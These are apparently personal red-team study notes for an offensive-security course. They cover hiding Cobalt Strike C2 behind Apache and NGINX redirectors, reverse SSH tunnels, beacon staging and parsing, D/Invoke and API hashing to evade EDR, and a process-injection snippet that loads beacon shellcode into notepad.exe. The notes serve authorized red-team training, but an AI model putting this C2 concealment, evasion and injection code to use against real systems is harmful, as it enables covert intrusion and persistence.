Handbook IV - RedTeam
Many of these notes are from Rasta Mouse' CRTO 2. A great course that takes you in-depth in setting up C2 infrastructure, lateral movements in network while evading detection and some malware developlment. There are also notes from https://maldevacademy.com which is one of the best courses for malware development out there in my opinion.
There are also some notes from other sources, which I will cite. I will also do my own testing and research.
Some amazing resources for CRTL or red teaming:
- CRTL Notes - Great notes. Must request access.
- Knowledge Base - RedOps - English - A lot of great research and knowledge.
- Insights - MDSec - A lot of great research and knowledge.
- Vx Underground - Papers and viruses. Good for analyzing ATP code.
What is Red Teaming?
Performing a red team, and performing it correct is difficult. Make sure you have red Fotra's guide to performing a red team. Understand what is needed of you, and what is needed from the client.
Fortra - Red Teaming GuideDownload
Red Team Infrastructure
Red Team R&D
In order to carry out a successfull red team engagement, a red team must spend some time reseaching and developing. Here I will list some of the techniques I've come across regarding r&d.
> Rather than focusing solely on “bypass,” it’s often more effective to blend in with normal activity.
HTTPs traffic to a legitimate looking domain that is categorized will blend in the usual traffic and can evade proxy as well.
Or injecting code into a process, such as msedge, to communicate with your C2.
Talking to other great red teamers, many of them take publicly available pocs and write their own implementations. Developing a completely new methods to evade EDRs can be very time consuming, something that most clients wont pay for. Using already available techniques and tweaking them until they evade detection is a better approach.
A great place to look at techniques and source code is https://www.vx-underground.org/. There are alot of hidden gems there. You can take parts from source codes, for example Conti group implementation of WMI in cryptor.cpp and implement them in your code.
Also reading through https://attack.mitre.org/ can also give you some ideas on TTP's to use in your engagement.
Red Team Do's and Dont's
Red Team Tradecraft and TTP Guidance | Red Team Development and Operations
| Do | Don't |
|---|---|
| Log all significant events | Use untested tools on a target system |
| Consult with peers | Use unencrypted channels for C2 |
| Understand tools and technology used | Attempt to exploit or attack unencrypted websites |
| Perform situational awareness | Execute from non-executable locations |
| Minimize callback (C2) volume | Download restricted datasets |
| Use binaries for initial access |
Resources
Atomic Red Teaming
> This site is designed to help you explore and navigate the Atomic Red Team™ library of tests, as they are mapped to the MITRE ATT&CK® framework and the platforms they support.
Expired Domains
Using expired domains in a red team engagement can help bypass domain reputation filter and avoid detection. Expired domains are less likely to be flagged as suspicious. A newly created domain will probably be picked up by blue team as malicous.
Expired Domains | Daily Updated Domain Lists for 579 TLDs
Signed Tools That's Useful in Red Team
ADExplorer.exe
Everything.exe
SoftPerfect Network Scanner
RTO2 Battle Plan
- Go thoroughly through the course notes and test out in the lab.
- Setup lab environment with Elastic (Setting Up a Detection Lab – BOOK_GHANIM)
- Read Matt Hands - Evade EDR book and try out in lab
- Read Evasive Malware by Kyle Cucci
- Make initial access payloads that evade EDR (Maldevacademy)
- Test out different LPE and lateral movement techniques that evades EDR in the lab
- Buy RTO2 Lab and go through it until comfortable to do the exam
- Do the exam
- ???
- profit
Cobalt Strike
Since Red Team Ops II is using Cobalt Strike as the main CnC framework, and I have not taken Red Team Ops I I have watched Rapahel Mudge Red Team Ops with Cobalt Strike course on youtube. hw_dungeontower2b_h_en_120 (youtube.com)
I highly recommend this course as he will expolain Cobalt Strike in detail, also setting up a C2 infrastructure, distributed operations, evasion and much more. Basically he takes it through an entire red team engagement.
C2 Infrastructure
Below is a high-level diagram of a secure C2 infrastructure.

Traffic between Victim network and Redirector should be encrypted HTTPS traffic only. On the attack network (Simulated Adversary) only SSH tunnel should be allowed to redirector. No inbound access from the internet to attack network should be allowed. HTTPS from attacker should be allowed to test web server.
Apache as Redirector
Install apache as per your requirements.
sudo apt install apache2
sudo a2enmod ssl rewrite proxy proxy_http
# Use default SSL Config
sudo ln -s ../sites-available/default-ssl.conf ../sites-enabled/default-ssl.conf
sudo systemctl restart apache2
Generate an SSL certificate using a legitimate Certificate Authority(CA) like Let's Encrypt, VeriSign, GlobalSign or DigiCert, etc. Edit the config file to include the generated SSL certificate.
# Replace with generated cert
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
root# sudo systemctl restart apache2
Enabling Apache redirector
Enable .htaccess to configure apache to proxy traffic to Cobalt Strike.
To enable .htaccess edit /etc/apache2/sites-enabled/default-ssl.conf. Underneath <VirtualHost> add a new <Directory>.
>
You can also add conditions and rewrite rules directly in the configuration. Rules in configuration apply to entire server or specific virtual host, while rules applied in .htaccess only apply to the directory where the file is located and the subdirectories.
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Require all granted
Add SSLProxyEngine on underneath SSLEngine on. Restart apache after.
In /var/www/html create a new .htaccess file. Add these lines
RewriteEngine on
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]
The [P] stands for proxy.
The RewriteRule will proxy everything to our TeamServer. For example curl https:// domain.com/test. From an opsec point of view this is not ideal and we will have to add some conditions in order to redirect unwanted traffic elsewhere. For that we will use RewriteCond.
Rewrite Conditions RewriteCond can be combined with RewriteRule. The syntax is TestString Condition [Flags]. htaccess have multiple flags that can be used.
- [L] - Last. Tells
mod_rewriteto stop processing further rules.
- [NE] - No Escape. Don't encode special characters (e.g.
&and?) to their hex values.
- [R] - Redirect. Send a redirect code in response.
- [S] - Skip. Skip the next N number of rules.
- [T] - Type. Sets the MIME type of the response.
- [PT] - Pass Through. Pass rewritten URL to next handler.
- [NC] - No Case. Not casesensitive.
mod_rewrite documentation have a full details. https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
Apache Rules
Taken from here.
The below rules assumes the following;
- using the Cobalt Strike webbug profile
- data is sent via a cookie instead of in URL
- if a file exists on the redirector (in /var/www/html) it should always be returned
- a, b, c, and d are files hosted on Cobalt Strike that should be accessible
- /var/www/html/diversion is a file on the redirector that displays fake content for a, b, c, and d if they are requested using wget or curl https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
In order to get get exact parameter of the C2 profile, we can use Cobalt Strikes c2lint. And from there we can craft our rules based on these parameter. This way, only "legitimate" C2 traffic will reach our Teamserver from the redirector.

RewriteEngine on
# check beacon GET
RewriteCond %{REQUEST_METHOD} GET [NC]
RewriteCond %{HTTP_COOKIE} SESSIONID
RewriteCond %{REQUEST_URI} __utm.gif
RewriteCond %{QUERY_STRING} utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]
# check beacon POST
RewriteCond %{REQUEST_METHOD} POST [NC]
RewriteCond %{REQUEST_URI} ___utm.gif
RewriteCond %{QUERY_STRING} utmac=UA-220(.*)-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]
# if a,b,c,d and using wget or curl, change file to diversion
RewriteCond %{HTTP_USER_AGENT} curl|wget [NC]
RewriteRule ^a|b|c|d$ diversion [PT]
# if file exists on redirector, show that file
RewriteCond /var/www/html/%{REQUEST_URI} -f
RewriteRule ^.*$ %{REQUEST_FILENAME} [L]
# if a,b,c,d and NOT using wget or curl, redirect to CS web server
RewriteCond %{REQUEST_METHOD} GET [NC]
RewriteCond %{REQUEST_URI} a|b|c|d
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]
- The first rule checks if a GET request is made with a specific cookie and URL pattern (
__utm.gif). If these conditions are met, the request is forwarded tohttps://localhost:8443with the same URI.
- The second rule does something similar for POST requests, but it checks for a different URL pattern (
___utm.gif). If matched, the request is also forwarded tohttps://localhost:8443.
- The third rule checks if the User-Agent is
curlorwgetand if the request URI matchesa,b,c, ord. If so, it changes the URI todiversionand passes it to other rules.
- The fourth rule checks if the requested file exists on the server. If it does, the server serves that file directly.
- The fifth rule handles GET requests for
a,b,c, ordwhen the User-Agent is notcurlorwget. These requests are redirected tohttps://localhost:8443.
NGINX as Redirector
Nginx can also be used as a redirector, same as apache.
Below is a configuration file similar to one used above in apache.
server {
listen 443 ssl;
server_name yourdomain.com;
ssl_certificate /etc/ssl/certs/your-certificate.pem;
ssl_certificate_key /etc/ssl/private/your-private-key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# Check for beacon GET request with specific cookie and query string
location / {
if ($request_method = GET) {
if ($http_cookie ~* "SESSIONID") {
if ($request_uri ~* "__utm.gif") {
if ($query_string ~* "utmac=UA-2202604-2&utmcn=1") {
proxy_pass https://localhost:8443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
break;
}
}
}
}
# Check for beacon POST request with specific URI and query string
if ($request_method = POST) {
if ($request_uri ~* "___utm.gif") {
if ($query_string ~* "utmac=UA-220(.*)-2&utmcn=1") {
proxy_pass https://localhost:8443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
break;
}
}
}
# If wget or curl is used and request URI is a, b, c, or d, serve diversion
if ($http_user_agent ~* "curl|wget") {
if ($request_uri ~* "(a|b|c|d)") {
rewrite ^ /diversion break;
}
}
# Serve file if it exists on the redirector
try_files $uri $uri/ =404;
# Redirect a, b, c, d to C2 server if User-Agent is not curl or wget
if ($request_method = GET) {
if ($request_uri ~* "(a|b|c|d)") {
proxy_pass https://localhost:8443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
break;
}
}
}
}
Generate an SSL certificate using the above mentioned legitimate Certificate Authority(CA) and change line 5 and 6 to match the generated certificate. Restart nginx after systemctl restart nginx and verify that the config is correct using nginx -t.
Automatically generate ruleset
I've discovered a really great tool that will convert a Cobalt Strike profile to a functional mod_rewrite .htaccess or nginx config.
GitHub - threatexpress/cs2modrewrite: Convert Cobalt Strike profiles to modrewrite scripts
Socat as redirector
You can use socat to spin up a redirector using one command.
sudo socat TCP4-LISTEN:443,fork TCP:localhost:8443
This works fine until you introduce proxies, SSL certificates and other more advanced techniques.
Dealing with proxies
Many organizations have proxies that will filter out traffic they deem malicous or undesirable. Organizations can also use DNS to block traffic from malicous websites, such as Cisco Umbrella. In order to circumvent these defences we need a valid SSL certificate and a C2 domain that is categorized.
In order to get a domain categorized we need to host content on the site that fits the categorization we are going for. One example is how Stuxnet used two domains used as soccer fans site to phone home.
Setting up SSH Tunnel
Establish a reverse SSH tunnel from TeamServer to Redirector.
ssh -N -R 8443:localhost:443 attacker@10.10.0.100
-Nstops the session from dropping in to a shell.
-Ris remote-port:host:host-port. This will bind port 8443 on the target (Redirector 1) and any traffic hitting that port will be redirected to 127.0.0.1:443 on the team server.
Other tools to use is, but not limited to;
- Sshuttle
sshuttle -r username@address subnet
- Autossh
autossh -M 0 -N -f -R 8443:localhost:443 attacker@10.10.0.100
-M 0: Disables the monitoring port
-N: Prevents executing remote commands; just sets up the tunnel.
-f: tells autossh to run in the background.
-R 8443:localhost:443: Specifies the remote port forwarding, binding port8443on the remote server (Redirector 1) tolocalhost:443on the local machine (TeamServer).
Verify that the tunnel is setup correct.
sudo ss -ltnp
You can also curl from Redirector to verify that you hit Cobalt Strike.
curl -v https://localhost:8443/r1
Beacon Certificate
Cobalt strikes beacon will use its own self-signed certificate by default. Since our Teamserver is not be accessible from the internet, we cannot use a public domain. We will generate our own self-signed certificate instead.
openssl req -x509 -nodes -newkey rsa:2048 -keyout localhost.key -out localhost.crt -sha256 -days 365 -subj '/CN=localhost'
openssl pkcs12 -inkey localhost.key -in localhost.crt -export -out localhost.pfx
keytool -importkeystore -srckeystore localhost.pfx -srcstoretype pkcs12 -destkeystore localhost.store
Place the .store file in the Cobalt Strike directory and in the malleable profile add these lines.
https-certificate {
set keystore "localhost.store";
set password "pass123";
}
Now we can launch the teamserver with the updated profile.
sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
To verify the certificate on the listener we can use curl.
curl -v -k https://10.10.5.50
Beacon Staging
Avoid using staged payloads as this is considred bad opsec. The reason for this is that it increases network exposure and web logs can reveal the stager. Since staging is unauthenticated it can be made from anyone.
Let's try this out ourself. First we generate a listener and a stager payload and detonate it on a victim machine. We are using wireshark to look at the traffic between the attacker and the victim.

Those 4 random characters determins if the payload is x86 or x64 bit but doing some mathematical equations.
- Converts each character into its integer representation.
- Calculates the sum of those integers.
- Divides that sum by 256 and checks the remainder.
If the remainder equals 92, it's an x86 request.
- If the remainder equals 93, it's an x64 request.
We can now request the shellcode using curl.

And now we can use a Beacon Parser like the one made by Sentinel One and extract all the information about the beacon.
python3 parse_beacon_config.py /mnt/c/Payloads/shellcode.bin
BeaconType - HTTPS
Port - 443
SleepTime - 60000
MaxGetSize - 1048616
Jitter - 0
MaxDNS - Not Found
PublicKey_MD5 - a3b7d2c9e5f4a1bc8d6e29f3c1b4a7e2
C2Server - 10.2.99.1,/__utm.gif
UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; msn OptimizedIE8;ENUS)
HttpPostUri - /___utm.gif
Payload Guardrails
Guardrails prevents payload to fully execute outside of predefined scope. If an AV sandbox try to execute your payload, it will fail and thus prevent it from analyzing the behaviour of your payload. This has also legal concerns as executing payload outside of agreed upon scope is a very big no-no.
The available options are:
- IP Address
Internal IP address(es)
- Supports wildcards on the rightmost segments, e.g. 10.10.120.* or 10.10.*.*
- User Name
Case sensitive username
- Supports wildcards on the left or right, e.g. svc_* or *adm
- Server Name
Case sensitive computer name
- Supports wildcard on the left or right
- Domain
Case sensitive domain name
- Supports wildcard on the left or right, e.g. acme.* or *.acme.corp

External C2
External C2 allows third-party programs to act as communication channel between Cobalt Strike and its beacon. More information can be read here.
Basically what this means that the operator can use whatever protocol to communicate between the teamserver and the beacon as long as egress traffic is allowed. That can be for example using Discord, Office 365, Google drive, Dropbox. The only condition is that the two components can transfer data between each other.
Using External C2 can be stealthy as you design your own communication channels.
This image from @riccymaster illustrate it very nicely.

Redirectors can be layerd on top for added OPSEC. As a matter of fact, it is recommended!
To use External C2, we first need to setup a listener.

This will bind it to port 2222.
Onthis website, Cobalt Strike team have made a External C2 example using named pipe. The code provided creates a named pipe that handles communication.
After running the External C2 payload on a victim machine you can see that the payload sends the configuration options such as the architecture, the pipename that will be used and the block size.

And we can interact with the beacon using the CS client.

Setting everything in motion
Now that we have covered these topics I will setup a C2 redirector in a vps in digital ocean with apache and rewrite rules. I will create a payload in Cobalt Strike that I will execute on a victim machine. Defence evasion is not a priority in this task.
Setting up a VPS and website
I've opted to use digital ocean to setup my vps. I've used their cheapest option, which is 4 dollar per month. But for a couple of hours this wont cost anything. Just remeber to destroy the droplet to not incur a fee.

Now its time to setup apache, as we explained above, and we have our vps ready.
Apache confige file:
root@ubuntu-s-1vcpu-512mb-10gb-fra1-01:/var/www/html# cat /etc/apache2/sites-enabled/default-ssl.conf
ServerAdmin webmaster@localhost
ServerName flowers.labratxyz.eu
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
SSLProxyEngine on
SSLCertificateFile /etc/letsencrypt/live/flowers.labratxyz.eu/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/flowers.labratxyz.eu/privkey.pem
SSLOptions +StdEnvVars
SSLOptions +StdEnvVars
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Require all granted

Now we need a domain and a valid SSL cert. I have a domain which I will use and I'll use Let's Encrypt to get a valid SSL cert. I will call the website flowers.labratxyz.eu and create a static website about flowers which users will be redirected to if they dont match my conditions.
I've just asked ChatGPT to create a small website about flowers. The result is good enough.

Setting up ssh tunnel
Now that the website is up and running with a valid SSL cert, lets work on the rewrite rules. First we create an SSH tunnel from our teamserver to the redirector.
ssh -N -R 8443:localhost:443 attacker@10.10.0.100
Configure apache
We will now configure .htaccess rewrite rules.
root@ubuntu-s-1vcpu-512mb-10gb-fra1-01:/var/www/html# cat .htaccess
RewriteEngine On
# if file exists on redirector, show that file
RewriteCond /var/www/html/%{REQUEST_URI} -f
RewriteRule ^.*$ %{REQUEST_FILENAME} [L]
# if the request method is GET or POST, redirect to the CS web server
RewriteCond %{REQUEST_METHOD} ^(GET|POST)$ [NC]
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]
This rule will check if the file exists, it will show that file. So if anyone visits my website, it will open the website and stop further process. However, if no file exists and the request is GET or a POST it will proxy to CS. Its not an ideal rule, but for now it will work.
Beacon certificate
Now lets generate a self-signed certificate for the Cobalt strike beacon. Scroll up to see how to generate a certificate and add it to our profile.
Getting a beacon
We will now attempt to get a beacon to our Cobalt strike. We will first setup a listener.

For testing purpose we'll generate a stager beacon and transfer it to target. Set the correct listener.

On our victim machine we want to make sure that our TeamServer IP will not be disclosed. We will start WireShark and look at the traffic. We will also look at the access logs on apache to see what is happening.

We can now look at the traffic in wireshark and see if there are any indication as to what our TeamServers IP is.

Look's good for now!
Let's look at the access logs on the redirector.

We can see that legitimate traffic is not proxyed. 46.15.123.159 is my phone. When visting the url I can browse the website and not suspect a thing. While beacon traffic is redirected to CS.
Windows API
We are not going too deep into Windows API as this is another huge topic. What we can say is that Windows API or WinAPI or Win32 APIs are used for different actions for offensive operaitons such as host enumeraiton, process creation, process injection or token manipulation.
The most used WinAPI's are the base service kernel32.dll and the advance service advapi32.dll. I recommend diving deeper into this. Maldev Academy is a great source.
Windows API are readily accessible in C and C++ since they exposed all the necessary data strucutre . They can also be called from other languages such as C# by using P/invoke.
There are also API's called Native API's. Most of the native API's are implemented in ntoskrnl.exe (The kernal image) and exposed to user mode via ntdll.dll. These API's are not designed to be called from user applications, and are therefor not accessible like the WinAPI's. The higher level WinAPI's will call Native API's in the background. An example is that OpenProcess in kernel32.dll calls NtOpenProcess in ntdll.dll.
P/invoke
P/invoke allowes managed code such as C# in the .NET framework to call unamanged functions that are exposed by DLL. Such as those in Win32 API's or custom DLL's written in C or C++.
Managed code such as C# runs on CLR (Common Language Runtime). CLR handles everything from garbage collection, type safety, security and cross-language interoperability.
While unmanaged code such as C and C++ runs directly on the operating system. The code have direct control over system resources such as memory. There are no automatic memory management (Garbage collection) or type safety. Thats why the White House warned against using C or C++. Since they are not "memory safe programming language".
C# already utilies P/invoke. However you have little control over the parameteres such as the Start method in System.Diagnostic.Process wher P/invoke calls the CreateProcess API. We cannot for example customise the data being passed to STARTUPIFNO struct. There are also other Windows API that are not exposed in .NET such as VirtualAllocEx, WriteProcessMemory, CreateRemoteThread and the only way to access them is to P/invoke them manually in the code.
So to summarize: Managed code is executed and managed by a runtime (ex: CLR in .NET), which takes care of memory and security. Unmanaged code runs directly on the operating system and interacts with system resources, with the developer responsible for managing memory and handling errors.
NT API's
Most of the Native API's are undocumented, but because of a court order back in the days, Microsoft was forced to disclose some of the NT API's. Microsoft made winternlpublic, which defines som internal NT API's and data structure.
If you try to compile code with for example NtQueryInformationProcess it might fail with the error LNK2019: unresolved external symbol because Windows SDK does not provide an import library for NTDLL. To handle this Microsoft tells us to define the function definition as typdef.
However, if you have Windows Driver Kit (WDK) installed you can just add #pragma comment(lib, "ntdll) since ntdll import library comes with it.
Ordinals
An ordinal is a unique number assigned to a function or resource in a DLL (Dynamic Link Library) that can be used to reference it, instead of using the function's name. Using ordinals can make function calls more obscure because it hides the actual function name, making it harder to analyze the code.
We have created a code in C# that just creates a process 'notepad.exe' using CreateProcessW.

Above is the P/invoke signature for CreateProcessW.
We will use PEStudio Winitor to analyze the binary. PEStudio analyzes binaries (EXE, DLLS etc) without actually running them.

In the import table we can see that CreateProcessW is flagged as P/invoke type.
In order to hide the fact that we are using CreateProcessW we can instead reference an exported function via ordinals.
In order to find the ordinal number for CreateProcessW we load Kernel32.dll into PE-Bear. We can find the ordinal number under "Exports" tab and search for CreateProcessW.

Using a calculator we can convert F7, which is a hex value, to decimal. We can see that the value is 231 in decimal numbers.

Now back to the exported function, we define an entrypoint now instead of using CreateProcessW directly in the DLLImport. And we can also give the function a random name.

Back to PEStudio we can load our newly built binary and look at the import tab.

A good analyst will spot this and know this is not legitimate. We can instead use an API that is actually exported from kernel32.dll. This will work because the entrypoint takes priority over the function name.
D/invoke
D/invoke, in contrary to P/Invoke, will dynamically call a function at runtime instead of statically linking it to our code. So instead of our code directly point to a specific function in a specific library, we can instead use D/invoke and tell it "Hey, call CreateProcessW for me". Its like having an assistant who can find the right "phone number" and make the call, without you having the phone number saved beforehand.
This helps evade detection since the calls to functions are dynamic it's hard for security tools to predict or block them.
To use D/invoke, in your projectin Visual Studio go to Project > Add Reference > Browse and add a reference to DInvoke.Data.Dll and DInvoke.DynamicInvoke.dll. You can get the DLL's from here. GitHub - rasta-mouse/DInvoke: Dynamically invoke arbitrary unmanaged code from managed code without P/Invoke.

In the above image I have loaded to binaries, one using P/invoke, while the others is using D/invoke. The first loaded binary is using P/invoke and you can see where its marked in red that it is importing CreateProcessW function, while in the D/invoke its not. So with static analysis you cannot see that we are using CreateProcessW while using D/invoke. It will however show up at runtime as you can see in the image below.

Dinvoke however helps evade API hooks. You can use API Monitor and the code from GitHub - TheWover. In example 2 he uses pinvoke first to call OpenProcess, and then several other ways using dinvoke. Using API Monitor you can hook kernel32.dll!OpenProcess and monitor if it catches the call. He have also made a video showcasing it. SharpSploit: Bypassing API Hooks via DInvoke and Manual Mapping on Vimeo.
The code used for CreateProcess:
// Program.cs
using DInvoke.DynamicInvoke;
using System;
using System.Runtime.InteropServices;
using static Win32;
namespace CreaterProcessCsharp
{
internal class Program
{
static void Main(string[] args)
{
// Initialize the STARTUPINFO structure
STARTUPINFO startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(typeof(STARTUPINFO));
// Prepare the parameters array
object[] parameters =
{
null, "notepad.exe", IntPtr.Zero, IntPtr.Zero, false, (uint)0,
IntPtr.Zero, null, startupInfo, new PROCESS_INFORMATION()
};
Console.WriteLine("Press call API");
ConsoleKeyInfo key = Console.ReadKey();
// Invoke the CreateProcessW function dynamically
var success = Generic.DynamicApiInvoke(
"kernel32.dll",
"CreateProcessW",
typeof(CreateProcessWDelegate),
ref parameters);
// Check if the process was created successfully
if (success)
{
PROCESS_INFORMATION processInfo = (PROCESS_INFORMATION)parameters[9];
Console.WriteLine($"Process created successfully. PID: {processInfo.dwProcessId}");
}
else
{
Console.WriteLine("Failed to create process.");
}
Console.WriteLine("Press call quit...");
ConsoleKeyInfo key1 = Console.ReadKey();
}
}
}
// Win32.cs - Create a new class
using System.Runtime.InteropServices;
using System;
internal static class Win32
{
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)]
public delegate bool CreateProcessWDelegate(
string applicationName,
string commandLine,
IntPtr processAttributes,
IntPtr threadAttributes,
bool inheritHandles,
CREATION_FLAGS creationFlags,
IntPtr environment,
string currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInfo
);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr hObject);
[Flags]
public enum CREATION_FLAGS : uint
{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_SECURE_PROCESS = 0x00400000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
}
Ordinal
D/invoke also supports calling from ordinal number, the same as P/invoke.
var hLibrary = Generic.GetLibraryAddress("kernel32.dll", 233);
var success = (bool)Generic.DynamicFunctionInvoke(
hLibrary,
typeof(Win32.CreateProcessWDelegate),
ref parameters);
API Hashing
D/invoke also support the use of hasing. We can use D/invoke inside CSharpREPL. Simply download and compile the repo and run CsharpREPL.exe. Then we need to import Dinvoke.DynamicInvoke.dll.

In the image above we have hashed the kernel32.dll and CreateProcessW with the key 0xff.
In your Csharp code, both GetLoadedModuleAddress and GetExportAddress accept hashed string and the key used. In the CreateProcess code we used, we can replace it with these lines of codes.
var hKernel = Generic.GetLoadedModuleAddress("A87563E82983D2E53C7C17F42338489A", 0xff);
var hCreateProcess = Generic.GetExportAddress(hKernel,"F87E809A2DAB11B2D72B52F219243154", 0xff); // 0xff is the encryption key
// Invoke the CreateProcessW function dynamically
var success = Generic.DynamicFunctionInvoke(
hCreateProcess,
typeof(CreateProcessWDelegate),
ref parameters);
Process Injection
I will expand more on this in the future. For now I recommend using Maldev Academy to learn more about different techniques for process injection and shellcode execution.
Defence Evasion
Cobalt Strike Post-explotation
The post-explotation commands can be divided into 4 different categories:
- House-keeping: These commands dont task the beacon to do any executable actions. They are used to set configuration option in a beacon. Commands like
sleeporjobs.
- API Only: Commands that are directly built into the beacon payload using Windows API.
cp,cd,ls,mod_token,ps.
- Inline-exectution: These commands are implemented as Beacon Object File (BOF). A BOF is a compiled C program that allows it to execute within a Beacon Process and use internal beacon APIs. Example of commands
jump psexec/64/pshandremote-exec psexec/wmi. We will get more into BOFs later in these notes.
- Fork and run: Used to spawn a temporary process and post-explotation DLL is injected into it. Any output is captured over named pipes.
execute-assembly,powerpickandmimikatz.
A full list of commands can be found here. Beacon Command Behavior and OPSEC Considerations (helpsystems.com). In this link there are also OPSEC advices.
Memory Permissions
A Cobalt Strike beacon is based on Stephen Fewer's ReflectiveDLLInjection. A Cobalt strike beacon is implemented as a DLL and a reflective DLL injection is used to load it into memory. Thats why, when you create a Process Injection code, and loading a Cobalt Strike Beacon shellcode, you will see RWX memory regions. When using the Windows API VirtualProctect or VirtualProtectEx with page_execute_readwrite it will also create a RWX memory region. So if you use System Informer, formerly known as Process Hacker, you can see that there are two regions with RWX in memory.
Many defence products will alert on RWX regions in memory within a native process as malicous.
In order to prevent the reflective loader to use RWX and to also unload the reflective loader from memory we can set these two parameters in the mallable C2.
stage {
set userwx "false";
set cleanup "true";
}
Withouth the two parameters in the mallable C2 it would look like this.

And with the parameters it would look like this.

Now lets try this out manually using process injection. In Maldev Academy module 29, there is a good explenation of how process injection work with a code we can reuse.
VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtection)
In the code I have changed the parameter flNewProtect in VirtualAllocEx from page_execute_readwrite to page_execute_read. This is done after the payload is written to the allocated memory region.
VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode
The code will attempt to inject Cobalt Strike shellcode to notepad.exe.

If we look at the memory address 0x2069c3f0000 we see that it is RX.

So in summary, if you are writing your own loader like I mentioned above, it eliminate the reason to use set userwx "false"; and set cleanup "true" in the mallable C2 because the codes manual memory management overrides these settings, but not if you use User-Defined Reflective Loader (UDRL).
Beacon Object File (BOF)
BOF's provide an alternative method to execute custom code via Cobalt Strike, or other C&C frameworks such as Havoc. This bypasses the traditional fork&run approach which we will talk more about in the below chapters. BOF's are smaller, simpler to write and easier to load. BOF's are used for post-ex capabilities that allow code execution inside a running beacon.
BOF's are written in C or C++ and are essentially tiny COFF's (Common Object File Format). The beacon will act as a linker and loader.
Module 49, 50 and 51 in Maldev Academy (new) talks about Beacon Object Files.
In order to understand how we can develop our own BOF's, we first need to understand parsing of object files, and to do that we need to understand PE Headers and parsing of PE Headers. So let's have a short recap. This is more of a topic for malware development, but whatever... From Maldev Academy thats Module 8 and Module 50 (main).
First, what does parsing PE Headers mean exactly?
